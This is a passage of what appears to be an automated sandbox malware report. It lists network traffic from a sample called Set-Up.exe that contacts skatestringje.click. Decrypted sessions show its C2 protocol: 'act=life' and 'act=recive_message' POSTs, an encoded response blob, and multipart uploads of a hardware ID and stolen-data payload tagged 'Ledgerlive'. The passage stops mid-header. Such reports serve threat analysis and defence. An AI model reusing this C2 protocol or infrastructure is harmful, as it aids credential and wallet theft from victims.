Jan 15, 2025 16:00:36.102065086 CET	49743	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:36.102350950 CET	49743	443	192.168.2.4	104.21.75.15
Jan 15, 2025 16:00:36.102366924 CET	443	49743	104.21.75.15	192.168.2.4
Jan 15, 2025 16:00:36.208851099 CET	49743	443	192.168.2.4	104.21.75.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 16:00:24.292221069 CET	63242	53	192.168.2.4	1.1.1.1
Jan 15, 2025 16:00:24.307174921 CET	53	63242	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 16:00:24.292221069 CET	192.168.2.4	1.1.1.1	0x8453	Standard query (0)	skatestringje.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 16:00:24.307174921 CET	1.1.1.1	192.168.2.4	0x8453	No error (0)	skatestringje.click		104.21.75.15	A (IP address)	IN (0x0001)	false
Jan 15, 2025 16:00:24.307174921 CET	1.1.1.1	192.168.2.4	0x8453	No error (0)	skatestringje.click		172.67.166.121	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

skatestringje.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.75.15	443	7352	C:\Users\user\Desktop\Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:00:24 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: skatestringje.click
2025-01-15 15:00:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-15 15:00:25 UTC	1130	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 15:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8a3mdpccpavtjq0uvhof3hth12; expires=Sun, 11 May 2025 08:47:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AXd3stbLP6WQyIbduzdlXT%2BBC3XNL36RJBXq1RwsZQQFWtfQY6mlLzUU6iFTq9RTSJvgK1L8%2B00PhEnvdPi3%2BofxeEsEuh8IWIJX9Gg7RDLcL9IAsQJXoZLQaF%2F8K3u1sj%2BgdCi6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9026bc389f3b42f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8589&min_rtt=1637&rtt_var=4890&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1783750&cwnd=179&unsent_bytes=0&cid=77ae011488b44deb&ts=580&x=0"
2025-01-15 15:00:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-15 15:00:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.75.15	443	7352	C:\Users\user\Desktop\Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:00:25 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: skatestringje.click
2025-01-15 15:00:25 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=c2CoW0--Ledgerlive&j=
2025-01-15 15:00:26 UTC	1130	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 15:00:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6hlenq8r5e9gtjfdnol5k2h4cu; expires=Sun, 11 May 2025 08:47:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kf%2BeObogguoDPFeEz%2FxihebEXCSMhhKmGd521hDNtKvz4IVxoAZD8NmM%2FMDDTd4bOO5QJbR0%2F1%2BqwcSOyfV5bIpzj016Zy5Gi8MexQr3NXc7NoTb3nBxbweOd46nXHUfkT1vhWZK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9026bc3edcfdac42-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14586&min_rtt=14428&rtt_var=5523&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=955&delivery_rate=202384&cwnd=32&unsent_bytes=0&cid=d12df45f23645032&ts=514&x=0"
2025-01-15 15:00:26 UTC	239	IN	Data Raw: 34 39 39 34 0d 0a 5a 61 56 56 52 44 47 7a 7a 6e 37 4c 6a 71 68 50 34 75 47 4d 78 7a 7a 33 50 62 73 36 4b 74 50 73 39 32 33 4d 73 37 2b 4b 57 30 55 65 68 79 4e 6d 43 34 66 69 58 4c 6a 72 69 6e 57 57 6b 2f 6d 69 45 4e 56 63 33 78 67 51 74 59 32 62 48 71 6d 66 6e 66 77 32 5a 31 2f 44 4e 43 68 43 31 75 4a 63 72 76 61 4b 64 62 6d 61 72 71 4a 53 31 51 65 5a 58 30 43 78 6a 5a 73 50 72 64 6a 51 2b 6a 63 6d 44 63 6b 79 4c 46 54 51 71 68 2b 6e 34 38 30 71 68 34 44 6d 71 56 57 61 56 64 59 59 42 76 47 4a 6a 55 2f 32 6b 66 4c 76 4c 79 51 6f 78 43 59 76 45 38 37 69 42 65 6e 72 78 6d 33 59 77 2b 32 69 58 70 74 62 33 31 46 43 75 34 53 54 44 71 6a 5a 7a 2b 4d 39 4c 51 33 48 4d 53 31 65 32 62 34 53 72 65 54 47 4c 49 32 41 72 Data Ascii: 4994ZaVVRDGzzn7LjqhP4uGMxzz3Pbs6KtPs923Ms7+KW0UehyNmC4fiXLjrinWWk/miENVc3xgQtY2bHqmfnfw2Z1/DNChC1uJcrvaKdbmarqJS1QeZX0CxjZsPrdjQ+jcmDckyLFTQqh+n480qh4DmqVWaVdYYBvGJjU/2kfLvLyQoxCYvE87iBenrxm3Yw+2iXptb31FCu4STDqjZz+M9LQ3HMS1e2b4SreTGLI2Ar
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 75 73 65 6b 6b 65 5a 41 41 6a 69 76 4a 59 65 76 38 54 51 2b 44 39 6e 47 49 6b 75 5a 6c 54 64 37 45 54 70 35 4d 59 6a 68 59 44 68 6f 6c 2b 56 54 64 5a 59 53 37 6d 47 6b 51 57 68 33 74 4c 6d 4d 79 41 50 7a 6a 41 70 56 4e 6d 71 45 36 71 73 68 47 32 48 6d 36 37 39 48 72 56 50 32 6c 74 63 76 4a 2f 56 45 4f 44 49 6e 65 38 31 5a 31 2b 48 4d 53 68 53 33 4b 77 4f 6f 65 66 42 4b 4a 4b 49 35 36 68 54 6c 56 4c 54 56 30 75 78 69 5a 38 46 6f 64 76 5a 35 54 51 68 42 38 64 33 61 42 50 57 74 46 7a 78 72 4f 6b 6f 6b 49 54 69 73 78 79 76 48 38 59 57 55 66 47 4a 6d 55 2f 32 6b 64 58 74 4f 69 51 4d 79 44 51 75 57 4d 4f 73 44 71 2f 68 7a 7a 2b 47 68 75 43 76 58 59 64 56 31 31 35 4c 75 49 57 63 43 71 6e 56 6e 61 5a 35 49 42 2b 48 62 32 5a 79 33 4b 63 51 6f 2f 76 4b 62 5a 2f 4e Data Ascii: usekkeZAAjivJYev8TQ+D9nGIkuZlTd7ETp5MYjhYDhol+VTdZYS7mGkQWh3tLmMyAPzjApVNmqE6qshG2Hm679HrVP2ltcvJ/VEODIne81Z1+HMShS3KwOoefBKJKI56hTlVLTV0uxiZ8FodvZ5TQhB8d3aBPWtFzxrOkokITisxyvH8YWUfGJmU/2kdXtOiQMyDQuWMOsDq/hzz+GhuCvXYdV115LuIWcCqnVnaZ5IB+Hb2Zy3KcQo/vKbZ/N
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 64 54 30 31 35 48 76 49 4c 56 51 65 37 57 78 61 68 68 5a 79 33 45 49 79 56 5a 6b 35 6b 66 70 2b 4c 4e 4f 38 43 63 6f 4c 77 65 6b 6c 4f 5a 41 41 69 38 6a 35 30 4a 76 4e 37 51 36 7a 63 70 43 4d 49 34 4c 6c 50 52 6f 52 6d 74 35 38 45 75 6a 59 66 38 72 31 36 64 57 74 68 53 51 76 48 41 31 51 69 32 6b 59 57 6f 43 44 41 4d 68 51 49 6c 58 64 2b 72 43 75 6e 7a 68 44 54 41 68 4f 4c 6c 42 74 56 53 30 56 31 4e 76 6f 2b 66 41 61 76 62 30 65 41 33 4a 42 58 49 4d 79 5a 66 32 61 59 52 70 2b 6a 43 4a 49 75 49 36 4b 56 66 6e 78 2b 58 47 45 2b 70 7a 73 31 50 6d 74 62 52 35 54 5a 6c 4d 73 51 35 4b 46 54 48 37 41 50 6e 39 59 6f 71 6a 4d 4f 32 35 56 4b 63 58 39 4a 53 54 4c 47 4a 6d 41 71 74 31 74 37 6c 50 69 30 4a 77 44 4d 71 57 74 79 71 48 4b 37 6f 7a 7a 2b 46 69 75 4b 70 48 Data Ascii: dT015HvILVQe7WxahhZy3EIyVZk5kfp+LNO8CcoLweklOZAAi8j50JvN7Q6zcpCMI4LlPRoRmt58EujYf8r16dWthSQvHA1Qi2kYWoCDAMhQIlXd+rCunzhDTAhOLlBtVS0V1Nvo+fAavb0eA3JBXIMyZf2aYRp+jCJIuI6KVfnx+XGE+pzs1PmtbR5TZlMsQ5KFTH7APn9YoqjMO25VKcX9JSTLGJmAqt1t7lPi0JwDMqWtyqHK7ozz+FiuKpH
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 59 56 2f 2b 58 31 51 69 69 6b 59 57 6f 4d 43 34 56 79 54 6b 76 58 74 65 6b 47 36 66 68 77 53 75 4c 68 4f 6d 6a 55 35 31 53 33 46 74 4a 74 59 53 48 44 4b 58 62 30 4f 4a 35 61 55 66 41 4c 32 59 4c 6b 59 73 51 67 50 7a 52 50 35 62 44 38 65 74 48 31 56 6a 56 47 42 44 78 6a 5a 6f 47 6f 64 6e 56 35 7a 59 6a 43 63 45 78 4b 31 62 65 70 67 36 68 34 73 63 6d 6a 34 6a 38 70 56 4f 52 55 39 31 51 51 37 76 4f 32 30 2b 70 79 5a 32 77 65 52 49 4b 79 44 63 6c 52 5a 47 7a 55 72 43 73 7a 53 48 41 32 36 36 70 55 4a 56 51 31 56 52 44 75 59 2b 5a 41 61 6e 55 31 4f 41 78 4e 51 62 44 50 79 64 64 33 71 30 59 72 4f 6e 4f 4b 6f 53 46 34 65 55 51 31 56 6a 42 47 42 44 78 6f 62 49 36 37 50 44 6e 71 43 5a 70 48 6f 63 77 4b 68 4f 4a 37 42 43 71 34 4d 49 69 68 6f 72 69 72 31 65 65 55 39 Data Ascii: YV/+X1QiikYWoMC4VyTkvXtekG6fhwSuLhOmjU51S3FtJtYSHDKXb0OJ5aUfAL2YLkYsQgPzRP5bD8etH1VjVGBDxjZoGodnV5zYjCcExK1bepg6h4scmj4j8pVORU91QQ7vO20+pyZ2weRIKyDclRZGzUrCszSHA266pUJVQ1VRDuY+ZAanU1OAxNQbDPydd3q0YrOnOKoSF4eUQ1VjBGBDxobI67PDnqCZpHocwKhOJ7BCq4MIihorir1eeU9
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 69 70 41 41 72 39 44 62 2b 6a 34 75 46 63 6b 36 4b 56 76 5a 70 52 32 74 36 63 63 72 6a 49 6e 76 6f 6c 43 62 56 35 6b 57 43 4c 61 57 31 56 66 75 38 4d 33 7a 4b 7a 45 4b 35 6a 6f 70 45 38 37 69 42 65 6e 72 78 6d 33 59 77 2b 65 33 57 70 68 4e 30 46 39 47 76 6f 32 48 44 71 50 61 7a 2b 38 32 49 77 44 4c 4d 53 6c 56 30 4b 6b 57 70 65 76 50 4a 6f 2b 50 72 75 73 65 6b 6b 65 5a 41 41 69 66 68 59 59 59 72 64 2f 57 2f 69 4a 6e 47 49 6b 75 5a 6c 54 64 37 45 54 70 37 38 45 6d 68 49 50 69 70 56 71 59 58 38 74 58 54 37 61 48 6e 68 32 6b 31 74 72 6a 4d 53 77 49 77 53 55 71 58 63 4f 70 44 72 75 73 68 47 32 48 6d 36 37 39 48 71 4e 59 79 55 68 4c 38 37 2b 44 44 4c 6a 61 30 4f 52 35 4f 45 6e 65 64 79 46 66 6b 66 52 63 72 2b 50 44 4c 6f 2b 43 35 36 6c 54 6b 46 62 63 57 55 36 Data Ascii: ipAAr9Db+j4uFck6KVvZpR2t6ccrjInvolCbV5kWCLaW1Vfu8M3zKzEK5jopE87iBenrxm3Yw+e3WphN0F9Gvo2HDqPaz+82IwDLMSlV0KkWpevPJo+PrusekkeZAAifhYYYrd/W/iJnGIkuZlTd7ETp78EmhIPipVqYX8tXT7aHnh2k1trjMSwIwSUqXcOpDrushG2Hm679HqNYyUhL87+DDLja0OR5OEnedyFfkfRcr+PDLo+C56lTkFbcWU6
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 61 33 4b 6e 66 64 33 50 6b 66 41 4f 32 59 4c 6b 61 38 62 71 75 33 41 4a 49 79 4d 36 61 46 4d 6e 31 6a 4c 57 55 6d 36 67 35 6b 50 6f 39 7a 58 36 54 41 71 43 38 6f 77 49 56 7a 55 37 46 4c 70 36 39 4a 74 32 4d 50 50 71 46 57 5a 42 49 4d 59 56 2f 2b 58 31 51 69 69 6b 59 57 6f 4f 53 30 43 7a 54 6f 6c 58 4e 4b 2b 48 61 2f 2b 79 69 43 4b 6b 65 53 75 57 35 68 53 31 46 74 4f 74 34 57 5a 48 61 66 52 33 75 4e 35 61 55 66 41 4c 32 59 4c 6b 59 38 4c 76 2b 62 4e 49 5a 61 49 37 36 5a 49 6d 45 2b 5a 46 67 69 67 69 59 52 50 39 73 66 4e 2f 7a 34 34 53 64 35 33 49 56 2b 52 39 46 79 76 35 63 77 71 68 6f 33 38 6f 46 69 61 55 4e 42 52 54 4c 6d 4e 6c 51 75 71 31 74 6a 72 4e 53 77 41 78 44 67 69 57 74 2b 6c 45 2b 6d 69 69 69 71 59 77 37 62 6c 66 34 35 63 31 56 55 49 72 73 43 4d Data Ascii: a3Knfd3PkfAO2YLka8bqu3AJIyM6aFMn1jLWUm6g5kPo9zX6TAqC8owIVzU7FLp69Jt2MPPqFWZBIMYV/+X1QiikYWoOS0CzTolXNK+Ha/+yiCKkeSuW5hS1FtOt4WZHafR3uN5aUfAL2YLkY8Lv+bNIZaI76ZImE+ZFgigiYRP9sfN/z44Sd53IV+R9Fyv5cwqho38oFiaUNBRTLmNlQuq1tjrNSwAxDgiWt+lE+miiiqYw7blf45c1VUIrsCM
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 33 76 49 57 64 66 68 78 63 74 52 64 53 72 43 75 76 5a 79 53 4f 4f 68 50 6a 6c 51 61 6f 52 6d 56 64 53 38 64 61 73 46 75 37 57 30 61 68 68 5a 78 4c 41 4e 79 46 4a 78 36 73 51 75 4f 66 48 49 61 4b 4d 36 62 4e 64 6d 6c 7a 49 55 51 53 36 67 39 56 42 37 74 62 46 71 47 46 6e 4b 4d 41 68 4a 58 7a 53 76 52 58 70 6f 6f 6f 71 6c 73 4f 32 35 57 44 56 54 64 70 49 53 37 36 66 71 30 2f 32 79 4f 4f 6f 4d 6a 45 41 31 7a 51 77 57 4e 79 67 44 5a 65 73 6b 6e 6e 53 30 62 7a 33 44 49 6f 66 78 6d 63 47 38 59 2f 56 56 35 66 49 6e 66 35 35 66 31 57 4a 64 7a 51 54 69 65 78 62 71 76 37 59 4b 34 4f 56 37 65 4a 67 71 33 6a 50 55 6b 2b 68 69 59 49 41 37 70 2b 64 35 33 6c 2f 50 6f 63 2b 49 55 6a 41 75 68 47 35 36 34 6f 53 7a 73 50 32 35 51 62 56 61 74 70 57 52 72 61 59 68 45 4b 4a 78 Data Ascii: 3vIWdfhxctRdSrCuvZySOOhPjlQaoRmVdS8dasFu7W0ahhZxLANyFJx6sQuOfHIaKM6bNdmlzIUQS6g9VB7tbFqGFnKMAhJXzSvRXpoooqlsO25WDVTdpIS76fq0/2yOOoMjEA1zQwWNygDZesknnS0bz3DIofxmcG8Y/VV5fInf55f1WJdzQTiexbqv7YK4OV7eJgq3jPUk+hiYIA7p+d53l/Poc+IUjAuhG564oSzsP25QbVatpWRraYhEKJx
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 32 43 73 74 33 61 42 50 45 70 78 43 76 34 64 39 69 6b 5a 58 74 73 31 6e 5a 56 38 68 56 52 50 47 78 32 30 2b 32 6b 59 57 6f 44 43 51 4a 79 54 41 77 51 70 79 4d 46 36 58 76 78 69 79 48 77 36 44 6c 57 4e 55 48 69 68 59 49 74 5a 2f 56 56 2f 36 44 68 72 31 71 63 46 65 56 4b 47 68 4b 6b 62 70 63 38 62 36 45 62 5a 4c 44 74 75 55 5a 6c 6b 33 4c 58 6b 75 6e 6a 64 49 78 6b 4e 44 51 35 33 55 70 44 4d 63 77 4e 6b 58 4b 34 42 53 71 39 74 41 54 76 71 6a 69 6f 31 6d 50 57 4e 39 2b 61 50 48 41 31 51 44 75 69 65 53 6f 63 57 63 34 69 58 63 2b 45 34 6e 73 4b 61 72 69 78 43 71 57 6b 71 4f 4e 66 61 39 6c 6d 33 52 50 70 4d 79 68 43 4c 37 41 31 75 55 31 5a 30 6d 48 4d 57 59 4c 67 65 4a 63 72 66 32 4b 64 64 44 52 74 66 41 4e 77 67 2b 4c 52 77 61 6f 7a 6f 4e 50 39 6f 4f 54 71 43 Data Ascii: 2Cst3aBPEpxCv4d9ikZXts1nZV8hVRPGx20+2kYWoDCQJyTAwQpyMF6XvxiyHw6DlWNUHihYItZ/VV/6Dhr1qcFeVKGhKkbpc8b6EbZLDtuUZlk3LXkunjdIxkNDQ53UpDMcwNkXK4BSq9tATvqjio1mPWN9+aPHA1QDuieSocWc4iXc+E4nsKarixCqWkqONfa9lm3RPpMyhCL7A1uU1Z0mHMWYLgeJcrf2KddDRtfANwg+LRwaozoNP9oOTqC
2025-01-15 15:00:26 UTC	1369	IN	Data Raw: 49 57 59 4c 67 75 4a 63 75 36 79 53 62 63 65 4e 34 36 52 64 6d 31 7a 4c 53 6b 36 79 6d 4a 5a 49 6b 4f 2f 34 35 54 51 69 43 63 41 4a 47 48 4c 62 76 42 47 6d 36 34 67 4e 68 35 58 74 6d 32 43 69 54 74 35 49 43 70 65 4e 67 77 7a 75 6e 35 33 77 65 58 39 48 35 6a 30 32 58 74 36 72 58 6f 6e 72 33 43 37 41 7a 61 36 68 48 73 30 66 2f 46 56 46 74 49 43 53 54 59 2f 62 7a 65 55 32 49 45 58 6e 4d 44 42 51 6b 65 4a 63 70 61 79 53 62 59 47 4a 2f 71 68 52 6b 68 50 65 51 6b 2f 78 77 4e 55 42 37 6f 6d 64 36 54 4d 33 43 73 67 77 61 6c 58 66 6f 6c 79 32 6f 74 4e 74 6c 73 4f 32 39 68 44 56 54 5a 6b 41 43 50 61 4e 68 78 32 6f 30 73 76 72 66 68 6b 35 36 69 55 68 51 39 4c 75 4c 61 54 6f 33 44 69 44 6b 2b 6d 62 59 4c 68 4e 33 6b 68 4c 38 37 2b 44 44 4b 37 66 32 71 68 33 5a 78 2b Data Ascii: IWYLguJcu6ySbceN46Rdm1zLSk6ymJZIkO/45TQiCcAJGHLbvBGm64gNh5Xtm2CiTt5ICpeNgwzun53weX9H5j02Xt6rXonr3C7Aza6hHs0f/FVFtICSTY/bzeU2IEXnMDBQkeJcpaySbYGJ/qhRkhPeQk/xwNUB7omd6TM3CsgwalXfoly2otNtlsO29hDVTZkACPaNhx2o0svrfhk56iUhQ9LuLaTo3DiDk+mbYLhN3khL87+DDK7f2qh3Zx+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.75.15	443	7352	C:\Users\user\Desktop\Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:00:27 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BWJ8AI49 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18108 Host: skatestringje.click
2025-01-15 15:00:27 UTC	15331	OUT	Data Raw: 2d 2d 42 57 4a 38 41 49 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 43 30 34 46 37 41 42 32 44 45 35 45 32 42 36 37 39 33 31 45 37 38 39 37 46 31 35 44 46 45 0d 0a 2d 2d 42 57 4a 38 41 49 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 57 4a 38 41 49 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 0d 0a 2d 2d 42 57 4a 38 41 49 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --BWJ8AI49Content-Disposition: form-data; name="hwid"92C04F7AB2DE5E2B67931E7897F15DFE--BWJ8AI49Content-Disposition: form-data; name="pid"2--BWJ8AI49Content-Disposition: form-data; name="lid"c2CoW0--Ledgerlive--BWJ8AI49Content-Dis
2025-01-15 15:00:27 UTC	2777	OUT	Data Raw: cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-
2025-01-15 15:00:28 UTC	1133	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 15:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=83i9mpl5qtbelg0pdqjba7m8ln; expires=Sun, 11 May 2025 08:47:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=onbPASE9RIxBlmwLJDtqkQ9grfSpcMnbp%2B0pwf%2FXhJKGAM7Wh3MlgbwTn0txhPhk6ZHSU7Ma21OgMtaZA5KgksxC71peWHWje9leE07p%2BcVuK6JeoG0UUvfdwM%2B3lfDC%2FAqzV65t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9026bc475d8da2bc-YUL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18234&min_rtt=17592&rtt_var=7055&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2849&recv_bytes=19063&delivery_rate=165984&cwnd=32&unsent_bytes=0&cid=39f07c5ab7ef085c&ts=897&x=0"
2025-01-15 15:00:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-15 15:00:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	104.21.75.15	443	7352	C:\Users\user\Desktop\Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:00:28 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZSJ78F12SDQSP0HFFD5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8795 Host: skatestringje.click
2025-01-15 15:00:28 UTC	8795	OUT	Data Raw: 2d 2d 5a 53 4a 37 38 46 31 32 53 44 51 53 50 30 48 46 46 44 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 43 30 34 46 37 41 42 32 44 45 35 45 32 42 36 37 39 33 31 45 37 38 39 37 46 31 35 44 46 45 0d 0a 2d 2d 5a 53 4a 37 38 46 31 32 53 44 51 53 50 30 48 46 46 44 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 53 4a 37 38 46 31 32 53 44 51 53 50 30 48 46 46 44 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 Data Ascii: --ZSJ78F12SDQSP0HFFD5Content-Disposition: form-data; name="hwid"92C04F7AB2DE5E2B67931E7897F15DFE--ZSJ78F12SDQSP0HFFD5Content-Disposition: form-data; name="pid"2--ZSJ78F12SDQSP0HFFD5Content-Disposition: form-data; name="lid"c2CoW0--Le
2025-01-15 15:00:29 UTC	1134	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 15:00:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=77pfh3jr8am9gg2tbohvb8244v; expires=Sun, 11 May 2025 08:47:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p4cb3FLF2ZPH65BeYAzhuPx49hmv9izlKeIq6%2BhD1xJ%2Bk%2Fh76BM%2B6UTAUF%2BuaPFN1TvMo0AnXXX7cspK6QIFz7b4Yc8fYDhTdwtAgjkWVAeUfywgduE%2FjdLogagACsnY4FqzOVKI"}],"group":"cf-nel","max_age":604800} NEL: 